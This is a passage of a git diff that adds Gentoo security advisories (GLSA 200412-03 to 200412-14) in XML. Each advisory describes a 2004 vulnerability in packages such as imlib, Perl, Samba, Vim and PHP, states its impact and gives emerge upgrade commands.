+  <metadata tag="submitter" timestamp="Wed,  1 Dec 2004 14:14:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun,  5 Dec 2004 14:12:37 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-03.xml b/xml/htdocs/security/en/glsa/glsa-200412-03.xml
new file mode 100644
index 00000000..c7f311bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-03">
+  <title>imlib: Buffer overflows in image decoding</title>
+  <synopsis>
+    Multiple overflows have been found in the imlib library image decoding
+    routines, potentially allowing execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">imlib</product>
+  <announced>December 06, 2004</announced>
+  <revised>December 06, 2004: 01</revised>
+  <bug>72681</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/imlib" auto="yes" arch="*">
+      <unaffected range="ge">1.9.14-r3</unaffected>
+      <vulnerable range="le">1.9.14-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    imlib is an advanced replacement library for image manipulation
+    libraries like libXpm. It is called by numerous programs, including
+    gkrellm and several window managers, to help in displaying images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pavel Kankovsky discovered that several overflows found in the
+    libXpm library (see GLSA 200409-34) also applied to imlib. He also
+    fixed a number of other potential flaws.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to view a carefully-crafted
+    image file, which would potentially lead to execution of arbitrary code
+    with the rights of the user viewing the image. This affects any program
+    that makes use of the imlib library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All imlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/imlib-1.9.14-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200409-34.xml">GLSA 200409-34</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1026">CAN-2004-1026</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon,  6 Dec 2004 09:59:18 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  6 Dec 2004 09:59:29 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-04.xml b/xml/htdocs/security/en/glsa/glsa-200412-04.xml
new file mode 100644
index 00000000..48edb080
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-04">
+  <title>Perl: Insecure temporary file creation</title>
+  <synopsis>
+    Perl is vulnerable to symlink attacks, potentially allowing a local user to
+    overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">perl</product>
+  <announced>December 07, 2004</announced>
+  <revised>December 07, 2004: 01</revised>
+  <bug>66360</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-lang/perl" auto="yes" arch="*">
+      <unaffected range="rge">5.8.5-r2</unaffected>
+      <unaffected range="ge">5.8.6-r1</unaffected>
+      <vulnerable range="lt">5.8.5-r2</vulnerable>
+      <vulnerable range="eq">5.8.6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Perl is a stable, cross-platform programming language created by
+    Larry Wall.
+    </p>
+  </background>
+  <description>
+    <p>
+    Some Perl modules create temporary files in world-writable
+    directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When a Perl script is executed, this would result in the file being
+    overwritten with the rights of the user running the utility, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Perl users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=perl-5.8.5-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0976">CAN-2004-0976</uri>
+    <uri link="http://www.trustix.org/errata/2004/0050/">Trustix Advisory #2004-0050</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun,  5 Dec 2004 01:07:23 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  6 Dec 2004 21:18:17 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-05.xml b/xml/htdocs/security/en/glsa/glsa-200412-05.xml
new file mode 100644
index 00000000..e1d3e27f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-05.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-05">
+  <title>mirrorselect: Insecure temporary file creation</title>
+  <synopsis>
+    mirrorselect is vulnerable to symlink attacks, potentially allowing a local
+    user to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">mirrorselect</product>
+  <announced>December 07, 2004</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>73545</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-portage/mirrorselect" auto="yes" arch="*">
+      <unaffected range="ge">0.89</unaffected>
+      <vulnerable range="lt">0.89</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    mirrorselect is a tool to help select distfiles mirrors for Gentoo.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ervin Nemeth discovered that mirrorselect creates temporary files in
+    world-writable directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary files
+    directory, pointing to a valid file somewhere on the filesystem. When
+    mirrorselect is executed, this would result in the file being
+    overwritten with the rights of the user running the utility, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All mirrorselect users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-portage/mirrorselect-0.89&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1167">CVE-2004-1167</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon,  6 Dec 2004 21:43:32 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon,  6 Dec 2004 21:51:32 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-06.xml b/xml/htdocs/security/en/glsa/glsa-200412-06.xml
new file mode 100644
index 00000000..67b3e0db
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-06">
+  <title>PHProjekt: setup.php vulnerability</title>
+  <synopsis>
+    PHProjekt contains a vulnerability in the setup procedure allowing remote
+    users without admin rights to change the configuration.
+  </synopsis>
+  <product type="ebuild">PHProjekt</product>
+  <announced>December 10, 2004</announced>
+  <revised>December 10, 2004: 01</revised>
+  <bug>73021</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phprojekt" auto="yes" arch="*">
+      <unaffected range="ge">4.2-r1</unaffected>
+      <vulnerable range="lt">4.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHProjekt is a modular groupware web application used to
+    coordinate group activities and share files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Martin Muench, from it.sec, found a flaw in the setup.php file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation of the flaw allows a remote attacker
+    without admin rights to make unauthorized changes to PHProjekt
+    configuration.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    As a workaround, you could replace the existing setup.php file in
+    PHProjekt root directory by the one provided on the PHProjekt Advisory
+    (see References).
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PHProjekt users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phprojekt-4.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.phprojekt.com/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=189&amp;mode=thread&amp;order=0">PHProjekt Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  9 Dec 2004 14:30:29 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  9 Dec 2004 16:24:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 10 Dec 2004 17:26:05 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-07.xml b/xml/htdocs/security/en/glsa/glsa-200412-07.xml
new file mode 100644
index 00000000..a710f815
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-07">
+  <title>file: Arbitrary code execution</title>
+  <synopsis>
+    The code for parsing ELF headers in file contains a flaw which may allow an
+    attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">file</product>
+  <announced>December 13, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>72521</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-apps/file" auto="yes" arch="*">
+      <unaffected range="ge">4.12</unaffected>
+      <vulnerable range="lt">4.12</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    file is a utility used to identify the type of a file.
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible stack overflow has been found in the ELF header parsing code
+    of file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to create a specially crafted ELF file which,
+    when processed with file, may allow the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All file users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/file-4.12&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://securitytracker.com/id?1012433">SecurityTracker Alert ID 1012433</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1304">CVE-2004-1304</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 11 Dec 2004 10:27:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Dec 2004 10:27:27 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 12 Dec 2004 20:24:04 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-08.xml b/xml/htdocs/security/en/glsa/glsa-200412-08.xml
new file mode 100644
index 00000000..c56c69d2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-08.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-08">
+  <title>nfs-utils: Multiple remote vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities have been discovered in nfs-utils that could lead
+    to a Denial of Service, or the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">nfs-utils</product>
+  <announced>December 14, 2004</announced>
+  <revised>December 14, 2004: 01</revised>
+  <bug>72113</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/nfs-utils" auto="yes" arch="*">
+      <unaffected range="ge">1.0.6-r6</unaffected>
+      <vulnerable range="lt">1.0.6-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    nfs-utils is a package containing the client and daemon
+    implementations for the NFS protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    Arjan van de Ven has discovered a buffer overflow on 64-bit
+    architectures in 'rquota_server.c' of nfs-utils (CAN-2004-0946). A
+    remotely exploitable flaw on all architectures also exists in the
+    'statd.c' file of nfs-utils (CAN-2004-1014), which can be triggered by
+    a mishandled SIGPIPE.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could potentially cause a Denial of Service, or
+    even execute arbitrary code (64-bit architectures only) on a remote NFS
+    server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All nfs-utils users should upgarde to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/nfs-utils-1.0.6-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0946">CAN-2004-0946</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1014">CAN-2004-1014</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun,  5 Dec 2004 18:33:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon,  6 Dec 2004 15:50:26 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 11 Dec 2004 10:25:46 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-09.xml b/xml/htdocs/security/en/glsa/glsa-200412-09.xml
new file mode 100644
index 00000000..e61bb740
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-09.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-09">
+  <title>ncpfs: Buffer overflow in ncplogin and ncpmap</title>
+  <synopsis>
+    ncpfs is vulnerable to a buffer overflow that could lead to local execution
+    of arbitrary code with elevated privileges.
+  </synopsis>
+  <product type="ebuild">ncpfs</product>
+  <announced>December 15, 2004</announced>
+  <revised>December 15, 2004: 01</revised>
+  <bug>72820</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-fs/ncpfs" auto="yes" arch="*">
+      <unaffected range="ge">2.2.5</unaffected>
+      <vulnerable range="lt">2.2.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ncpfs is a NCP protocol network filesystem that allows access to
+    Netware services, for example to mount volumes of NetWare servers or
+    print to NetWare print queues.
+    </p>
+  </background>
+  <description>
+    <p>
+    Karol Wiesek discovered a buffer overflow in the handling of the
+    '-T' option in the ncplogin and ncpmap utilities, which are both
+    installed as SUID root by default.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A local attacker could trigger the buffer overflow by calling one
+    of these utilities with a carefully crafted command line, potentially
+    resulting in execution of arbitrary code with root privileges.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ncpfs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/ncpfs-2.2.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://lists.netsys.com/pipermail/full-disclosure/2004-November/029563.html">Full Disclosure Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1079">CAN-2004-1079</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  9 Dec 2004 07:35:34 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 14 Dec 2004 14:41:20 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 14 Dec 2004 16:10:38 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-10.xml b/xml/htdocs/security/en/glsa/glsa-200412-10.xml
new file mode 100644
index 00000000..46adfbfb
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-10.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-10">
+  <title>Vim, gVim: Vulnerable options in modelines</title>
+  <synopsis>
+    Several vulnerabilities related to the use of options in modelines have
+    been found and fixed in Vim. They could potentially result in a local user
+    escalating privileges.
+  </synopsis>
+  <product type="ebuild">vim</product>
+  <announced>December 15, 2004</announced>
+  <revised>December 15, 2004: 01</revised>
+  <bug>73715</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-editors/vim" auto="yes" arch="*">
+      <unaffected range="ge">6.3-r2</unaffected>
+      <vulnerable range="lt">6.3-r2</vulnerable>
+    </package>
+    <package name="app-editors/gvim" auto="yes" arch="*">
+      <unaffected range="ge">6.3-r2</unaffected>
+      <vulnerable range="lt">6.3-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Vim is an efficient, highly configurable improved version of the
+    classic 'vi' text editor. gVim is the GUI version of Vim.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gentoo's Vim maintainer, Ciaran McCreesh, found several
+    vulnerabilities related to the use of options in Vim modelines. Options
+    like 'termcap', 'printdevice', 'titleold', 'filetype', 'syntax',
+    'backupext', 'keymap', 'patchmode' or 'langmenu' could be abused.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could write a malicious file in a world readable
+    location which, when opened in a modeline-enabled Vim, could trigger
+    arbitrary commands with the rights of the user opening the file,
+    resulting in privilege escalation. Please note that modelines are
+    disabled by default in the /etc/vimrc file provided in Gentoo.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Vim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/vim-6.3-r2&quot;</code>
+    <p>
+    All gVim users should also upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-editors/gvim-6.3-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1138">CAN-2004-1138</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 10 Dec 2004 22:32:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 13 Dec 2004 17:03:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Dec 2004 14:00:28 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-11.xml b/xml/htdocs/security/en/glsa/glsa-200412-11.xml
new file mode 100644
index 00000000..67683885
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-11.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-11">
+  <title>Cscope: Insecure creation of temporary files</title>
+  <synopsis>
+    Cscope is vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files.
+  </synopsis>
+  <product type="ebuild">cscope</product>
+  <announced>December 16, 2004</announced>
+  <revised>December 16, 2004: 01</revised>
+  <bug>71595</bug>
+  <access>local</access>
+  <affected>
+    <package name="dev-util/cscope" auto="yes" arch="*">
+      <unaffected range="ge">15.5-r2</unaffected>
+      <vulnerable range="lt">15.5-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cscope is a developer utility used to browse and manage source
+    code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cscope creates temporary files in world-writable directories with
+    predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When Cscope is executed, this would result in the file being
+    overwritten with the rights of the user running the utility, which
+    could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cscope users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/cscope-15.5-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0996">CAN-2004-0996</uri>
+    <uri link="http://www.securityfocus.com/archive/1/381443">BugTraq Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 29 Nov 2004 16:19:40 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 29 Nov 2004 17:43:04 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Dec 2004 20:27:56 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-12.xml b/xml/htdocs/security/en/glsa/glsa-200412-12.xml
new file mode 100644
index 00000000..0127b832
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-12.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-12">
+  <title>Adobe Acrobat Reader: Buffer overflow vulnerability</title>
+  <synopsis>
+    Adobe Acrobat Reader is vulnerable to a buffer overflow that could lead to
+    remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">acroread</product>
+  <announced>December 16, 2004</announced>
+  <revised>December 16, 2004: 01</revised>
+  <bug>74406</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/acroread" auto="yes" arch="*">
+      <unaffected range="ge">5.10</unaffected>
+      <vulnerable range="lt">5.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Adobe Acrobat Reader is a utility used to view PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    A buffer overflow has been discovered in the email processing of
+    Adobe Acrobat Reader. This flaw exists in the mailListIsPdf function,
+    which checks if the input file is an email message containing a PDF
+    file.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could send the victim a specially-crafted email
+    and PDF attachment, which would trigger the buffer overflow and
+    possibly lead to the execution of arbitrary code with the permissions
+    of the user running Adobe Acrobat Reader.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Acrobat Reader users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/acroread-5.10&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1152">CAN-2004-1152</uri>
+    <uri link="http://www.adobe.com/support/techdocs/331153.html">Adobe Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Dec 2004 17:22:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 16 Dec 2004 15:18:04 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 16 Dec 2004 17:02:05 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-13.xml b/xml/htdocs/security/en/glsa/glsa-200412-13.xml
new file mode 100644
index 00000000..f1e28e20
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-13.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-13">
+  <title>Samba: Integer overflow</title>
+  <synopsis>
+    Samba contains a bug that could lead to remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Samba</product>
+  <announced>December 17, 2004</announced>
+  <revised>December 17, 2004: 01</revised>
+  <bug>73943</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.9-r1</unaffected>
+      <vulnerable range="le">3.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a freely available SMB/CIFS implementation which allows
+    seamless interoperability of file and print services to other SMB/CIFS
+    clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    Samba contains a bug when unmarshalling specific MS-RPC requests from
+    clients.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker may be able to execute arbitrary code with the
+    permissions of the user running Samba, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-fs/samba-3.0.9-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1154">CAN 2004-1154</uri>
+    <uri link="http://www.samba.org/samba/security/CAN-2004-1154.html">Samba Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 15 Dec 2004 20:27:23 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 17 Dec 2004 19:53:44 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200412-14.xml b/xml/htdocs/security/en/glsa/glsa-200412-14.xml
new file mode 100644
index 00000000..ad0784a8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200412-14.xml
@@ -0,0 +1,114 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200412-14">
+  <title>PHP: Multiple vulnerabilities</title>
+  <synopsis>
+    Several vulnerabilities were found and fixed in PHP, ranging from an
+    information leak and a safe_mode restriction bypass to a potential remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">PHP</product>
+  <announced>December 19, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>74547</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.10</unaffected>
+      <vulnerable range="lt">4.3.10</vulnerable>
+    </package>
+    <package name="dev-php/mod_php" auto="yes" arch="*">
+      <unaffected range="ge">4.3.10</unaffected>
+      <vulnerable range="lt">4.3.10</vulnerable>
+    </package>
+    <package name="dev-php/php-cgi" auto="yes" arch="*">
+      <unaffected range="ge">4.3.10</unaffected>
+      <vulnerable range="lt">4.3.10</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PHP is a general-purpose scripting language widely used to develop
+    web-based applications. It can run inside a web server using the
+    mod_php module or the CGI version of PHP, or can run stand-alone in a
+    CLI.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser and Marcus Boerger reported several different issues in
+    the unserialize() function, including serious exploitable bugs in the
